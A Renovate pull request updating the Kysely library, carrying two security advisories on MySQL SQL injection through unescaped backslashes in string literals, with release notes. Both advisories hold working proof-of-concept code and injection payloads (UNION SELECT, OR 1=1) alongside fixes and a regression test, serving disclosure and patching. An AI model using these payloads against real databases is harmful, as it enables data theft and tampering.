chore(deps): update dependency kysely to v0.28.14 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
kysely (source)	0.28.12 → 0.28.14

GitHub Vulnerability Alerts

CVE-2026-33442

Summary

The sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.

Details

When a user calls .key(value) on a JSON path builder, the value flows through:

1. JSONPathBuilder.key(key) at src/query-builder/json-path-builder.ts:166 stores the key as a JSONPathLegNode with type 'Member'.

2. During compilation, DefaultQueryCompiler.visitJSONPath() at src/query-compiler/default-query-compiler.ts:1609 wraps the full path in single quotes ('$...').

3. DefaultQueryCompiler.visitJSONPathLeg() at src/query-compiler/default-query-compiler.ts:1623 calls sanitizeStringLiteral(node.value) for string values (line 1630).

4. sanitizeStringLiteral() at src/query-compiler/default-query-compiler.ts:1819-1821 only doubles single quotes:

// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g

// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

The MysqlQueryCompiler does not override sanitizeStringLiteral — it only overrides sanitizeIdentifier for backtick escaping.

The bypass mechanism:

In MySQL's default BACKSLASH_ESCAPES mode, \' inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input \' OR 1=1 --:

1. sanitizeStringLiteral sees the ' and doubles it: \'' OR 1=1 --
2. The full compiled path becomes: '$.\'' OR 1=1 --'
3. MySQL parses \' as an escaped quote character (consuming the first ' of the doubled pair)
4. The second ' now terminates the string literal
5. OR 1=1 -- is parsed as SQL, achieving injection

The existing test at test/node/src/sql-injection.test.ts:61-83 only tests single-quote injection (first' as ...), which the '' doubling correctly prevents. It does not test the backslash bypass vector.

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

const db = new Kysely({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      user: 'root',
      password: 'password',
      database: 'testdb',
    }),
  }),
})

// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  data JSON
)`.execute(db)

await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)

// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never

const query = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key(userInput as never).as('result')
  )

console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal

const results = await query.execute()
console.log(results) // Returns injected query results

Simplified verification of the bypass mechanics:

const { Kysely, MysqlDialect } = require('kysely')

// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
  )
  .compile()

console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
//                  ^^ MySQL sees this as escaped quote
//                    ^ This quote now terminates the string
//                      ^^^^^^^^^^^ Injected SQL

Note: PostgreSQL is unaffected because standard_conforming_strings=on (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default BACKSLASH_ESCAPES mode are vulnerable.

Impact

• SQL Injection: An attacker who can control values passed to the .key() JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.
• Data Exfiltration: Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user.
• Data Modification/Deletion: If the application's database user has write permissions, stacked queries (when enabled via multipleStatements: true) or subquery-based injection can modify or delete data.
• Full Database Compromise: Depending on MySQL user privileges, the attacker could potentially execute administrative operations.
• Scope: Any application using Kysely with MySQL that passes user-controlled input to .key(), .at(), or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.

Recommended Fix

Escape backslashes in addition to single quotes in sanitizeStringLiteral. This neutralizes the bypass in MySQL's BACKSLASH_ESCAPES mode:

// src/query-compiler/default-query-compiler.ts

// Change the regex to also match backslashes:
const LIT_WRAP_REGEX = /['\\]/g

// Update sanitizeStringLiteral:
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, (match) => match === '\\' ? '\\\\' : "''")
}

With this fix, the input \' OR 1=1 -- becomes \\'' OR 1=1 --, where MySQL parses \\ as a literal backslash, '' as an escaped quote, and the string literal is never terminated.

Alternatively, the MySQL-specific compiler could override sanitizeStringLiteral to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it:

// src/dialect/mysql/mysql-query-compiler.ts
protected override sanitizeStringLiteral(value: string): string {
  return value.replace(/['\\]/g, (match) => match === '\\' ? '\\\\' : "''")
}

A corresponding test should be added to test/node/src/sql-injection.test.ts:

it('should not allow SQL injection via backslash escape in $.key JSON paths', async () => {
  const injection = `\\' OR 1=1 -- ` as never

  const query = ctx.db
    .selectFrom('person')
    .select((eb) => eb.ref('first_name', '->$').key(injection).as('x'))

  await ctx.db.executeQuery(query)
  await assertDidNotDropTable(ctx, 'person')
})

CVE-2026-33468

Summary

Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as().

Details

The root cause is in DefaultQueryCompiler.sanitizeStringLiteral():

src/query-compiler/default-query-compiler.ts:1819-1821

protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

Where LIT_WRAP_REGEX is defined as /'/g (line 121). This only doubles single quotes — it does not escape backslash characters.

The function is called from appendStringLiteral() which wraps the sanitized value in single quotes:

src/query-compiler/default-query-compiler.ts:1841-1845

protected appendStringLiteral(value: string): void {
  this.append("'")
  this.append(this.sanitizeStringLiteral(value))
  this.append("'")
}

This is reached when visitValue() encounters an immediate value node (line 525-527), which is created by ImmediateValueTransformer used in CreateIndexBuilder.where():

src/schema/create-index-builder.ts:266-278

where(...args: any[]): any {
  const transformer = new ImmediateValueTransformer()

  return new CreateIndexBuilder({
    ...this.#props,
    node: QueryNode.cloneWithWhere(
      this.#props.node,
      transformer.transformNode(
        parseValueBinaryOperationOrExpression(args),
        this.#props.queryId,
      ),
    ),
  })
}

The MysqlQueryCompiler (at src/dialect/mysql/mysql-query-compiler.ts:6-75) extends DefaultQueryCompiler but does not override sanitizeStringLiteral, inheriting the backslash-unaware implementation.

Exploitation mechanism:

In MySQL with the default NO_BACKSLASH_ESCAPES=OFF setting, the backslash character (\) acts as an escape character inside string literals. Given input \' OR 1=1 --:

1. sanitizeStringLiteral doubles the quote: \'' OR 1=1 --
2. appendStringLiteral wraps: '\'' OR 1=1 --'
3. MySQL interprets \' as an escaped (literal) single quote, so the string content is ' and the second ' closes the string
4. OR 1=1 -- is parsed as SQL

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

interface Database {
  orders: {
    id: number
    status: string
    order_nr: string
  }
}

const db = new Kysely<Database>({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      database: 'test',
      user: 'root',
      password: 'password',
    }),
  }),
})

// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"

const query = db.schema
  .createIndex('orders_status_index')
  .on('orders')
  .column('status')
  .where('status', '=', userInput)

// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
//   WHERE `status` = '\'   ← string literal containing a single quote
//   ' OR 1=1 --'          ← injected SQL (OR 1=1), comment eats trailing quote

To verify against a live MySQL instance:

-- Setup
CREATE DATABASE test;
USE test;
CREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));
INSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');

-- The compiled query from Kysely with injected payload:
-- This returns all rows instead of filtering by status
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';

Impact

• SQL Injection: An attacker who controls values passed to CreateIndexBuilder.where() or CreateViewBuilder.as() can inject arbitrary SQL statements when the application uses the MySQL dialect.
• Data Exfiltration: Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.
• Data Modification/Destruction: Stacked queries or subqueries can modify or delete data.
• Authentication Bypass: If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.

The attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The CreateIndexBuilder.where() docstring (line 247) notes "Parameters are always sent as literals due to database restrictions" without warning about the security implications.

Recommended Fix

MysqlQueryCompiler should override sanitizeStringLiteral to escape backslashes before doubling quotes:

src/dialect/mysql/mysql-query-compiler.ts

const LIT_WRAP_REGEX = /'/g
const BACKSLASH_REGEX = /\\/g

export class MysqlQueryCompiler extends DefaultQueryCompiler {
  // ... existing overrides ...

  protected override sanitizeStringLiteral(value: string): string {
    // Escape backslashes first (\ → \\), then double single quotes (' → '')
    // MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)
    return value.replace(BACKSLASH_REGEX, '\\\\').replace(LIT_WRAP_REGEX, "''")
  }
}

Alternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don't support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect's string literal syntax.

---

Release Notes

kysely-org/kysely (kysely)

v0.28.14: 0.28.14

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

MySQL 🐬

• fix: string literals are injectable on MySQL when backslash escapes (\\') are used. by @​igalklebanov in #​1754 & 054e801

📖 Documentation

• Add Node SQLite link to dialects documentation by @​wolfie in #​1709 & #​1755
• docs: document immediate value behavior in case() then/else by @​alexchenai in #​1753

📦 CICD & Tooling

• bump deno kysely dependency. by @​igalklebanov in 9e02f3b

⚠️ Breaking Changes

🐤 New Contributors

• @​wolfie made their first contribution in #​1709
• @​alexchenai made their first contribution in #​1753

Full Changelog: kysely-org/kysely@v0.28.13...v0.28.14

v0.28.13: 0.28.13

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

• fix: missing sideEffects: false in root package.json resulting in bigger bundles in various bundlers. by @​igalklebanov in #​1746
• fix: Insertable allows non-objects when a table has no required columns. by @​igalklebanov in #​1747

PostgreSQL 🐘

• fix: ON COMMIT clause not being output when using .as(query) in CREATE TABLE queries. by @​igalklebanov in #​1748

📖 Documentation

📦 CICD & Tooling

• chore: fix node tests tsconfig.json for TypeScript native. by @​igalklebanov in #​1749
• chore: bump dependencies. by @​igalklebanov in #​1750
• chore: bump GitHub actions. by @​igalklebanov in #​1751

⚠️ Breaking Changes

🐤 New Contributors

Full Changelog: kysely-org/kysely@v0.28.12...v0.28.13

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